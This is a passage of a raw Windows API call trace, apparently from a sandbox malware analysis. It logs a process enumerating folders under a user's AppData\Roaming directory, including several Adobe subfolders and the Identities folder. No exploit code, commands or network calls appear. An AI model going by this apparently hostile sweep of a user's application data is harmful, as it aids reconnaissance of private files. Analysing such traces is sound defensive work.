hFindFile=0x1e2930) returned 1 [0068.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x34 [0068.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\flash player"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.275] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x34 [0068.275] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.275] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.275] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.275] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.275] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.275] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3f [0068.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.275] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\flash player\\assetcache"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.276] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3f [0068.276] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e2930 [0068.276] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.276] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.276] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.276] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3f [0068.276] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e2930 [0068.276] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.276] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.277] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.277] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x34 [0068.277] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.277] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.277] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.277] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.277] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.277] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x32 [0068.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.277] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\headlights"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x32 [0068.278] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.278] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.278] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.278] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x32 [0068.278] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.279] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.279] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.279] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.279] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x33 [0068.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.279] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\linguistics"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.279] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x33 [0068.279] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.279] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.279] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.280] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.280] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", lpFilePart=0x0) returned 0x40 [0068.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.280] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\linguistics\\dictionaries"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", lpFilePart=0x0) returned 0x40 [0068.280] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e2930 [0068.280] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.280] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.280] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", lpFilePart=0x0) returned 0x40 [0068.281] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e2930 [0068.281] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.281] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.281] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.281] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x33 [0068.281] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.281] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.281] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.281] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.281] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.282] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x35 [0068.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.282] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\logtransport2"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.282] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x35 [0068.282] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.282] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.282] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.282] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.282] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x35 [0068.283] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.283] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.283] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.283] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.283] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x27 [0068.283] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x1e2930 [0068.283] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.283] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.283] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.283] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.284] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.284] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.284] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.284] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.284] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2c [0068.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0068.284] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\identities"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0068.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.284] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2c [0068.284] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x1e2930 [0068.285] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.285] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.285] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.285] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.285] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x53 [0068.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.285] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.285] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x53 [0068.285] FindFirstFileW (in: 